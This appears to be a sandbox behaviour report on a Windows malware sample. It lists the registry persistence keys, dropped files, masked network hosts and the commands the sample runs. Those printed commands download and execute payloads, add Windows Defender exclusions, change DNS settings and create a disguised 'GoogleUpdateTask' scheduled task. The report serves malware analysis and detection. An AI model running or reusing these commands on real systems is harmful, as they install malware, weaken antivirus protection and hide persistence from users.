Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'GoogleUpdateTask' = '%ALLUSERSPROFILE%\Google\software_reporter_tool.exe'
- [<HKLM>\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'GoogleUpdateTask' = '%ALLUSERSPROFILE%\Google\software_reporter_tool.exe'
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\google\unzip.exe
Network activity
Connects to
- 'co####signs2.com':443
- 'ip##pi.com':80
- 'ap#.##legram.org':443
TCP
HTTP GET requests
- http://ip##pi.com/xml/
Other
- 'ap#.##legram.org':443
UDP
- DNS ASK co####signs2.com
- DNS ASK ip##pi.com
- DNS ASK ap#.##legram.org
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8;cmd.exe /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%ALLUSERSPROFILE%\google\unzip.exe' Add-MpPreference -ExclusionPath '%WINDIR%\Temp';Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Google';Add-MpPreference -ExclusionProcess 'InstallUtil.exe';Add-MpPreference -ExclusionProces...
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTask" /t REG_SZ /f /d "%ALLUSERSPROFILE%\Google\software_reporter_tool.exe";cmd.exe /c reg add "HKLM\Soft...
- '%ALLUSERSPROFILE%\google\unzip.exe' (New-Object System.Net.WebClient).DownloadFile('http://co#####igns2.com:443/obieznne.msi','%ALLUSERSPROFILE%\Google\software_reporter_tool.exe');%ALLUSERSPROFILE%\Google\software_reporter_tool....
- '%ALLUSERSPROFILE%\google\unzip.exe' (New-Object System.Net.WebClient).DownloadFile('http://co#####igns2.com:443/cmd.msi','%ALLUSERSPROFILE%\Google\GoogleUpdate.exe');(New-Object System.Net.WebClient).DownloadFile('http://co#####i...
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8;cmd.exe /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' Add-MpPreference -ExclusionPath '%WINDIR%\Temp';Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Google';Add-MpPreference -ExclusionProcess 'InstallUtil.exe';Add-MpPreference -ExclusionProces...' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTask" /t REG_SZ /f /d "%ALLUSERSPROFILE%\Google\software_reporter_tool.exe";cmd.exe /c reg add "HKLM\Soft...' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' (New-Object System.Net.WebClient).DownloadFile('http://co#####igns2.com:443/obieznne.msi','%ALLUSERSPROFILE%\Google\software_reporter_tool.exe');%ALLUSERSPROFILE%\Google\software_reporter_tool....' (with hidden window)
- '%ALLUSERSPROFILE%\google\unzip.exe' (New-Object System.Net.WebClient).DownloadFile('http://co#####igns2.com:443/cmd.msi','%ALLUSERSPROFILE%\Google\GoogleUpdate.exe');(New-Object System.Net.WebClient).DownloadFile('http://co#####i...' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdateTask /t REG_SZ /f /d %ALLUSERSPROFILE%\Google\software_reporter_tool.exe
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 set dns name=Local Area Connection static 8.8.8.8
- '%WINDIR%\syswow64\reg.exe' add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdateTask /t REG_SZ /f /d %ALLUSERSPROFILE%\Google\software_reporter_tool.exe
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v GoogleUpdateTask /t REG_SZ /f /d %ALLUSERSPROFILE%\Google\software_reporter_tool.exe
- '%WINDIR%\syswow64\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v GoogleUpdateTask /t REG_SZ /f /d %ALLUSERSPROFILE%\Google\software_reporter_tool.exe
- '%WINDIR%\syswow64\cmd.exe' /c netsh interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\netsh.exe' interface ipv4 add dns name=Local Area Connection 8.8.4.4 index=2
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\schtasks.exe' /create /xml %WINDIR%\Temp\.xml /tn GoogleUpdateTask /f
- '%WINDIR%\syswow64\cmd.exe' /c del %WINDIR%\Temp\.xml
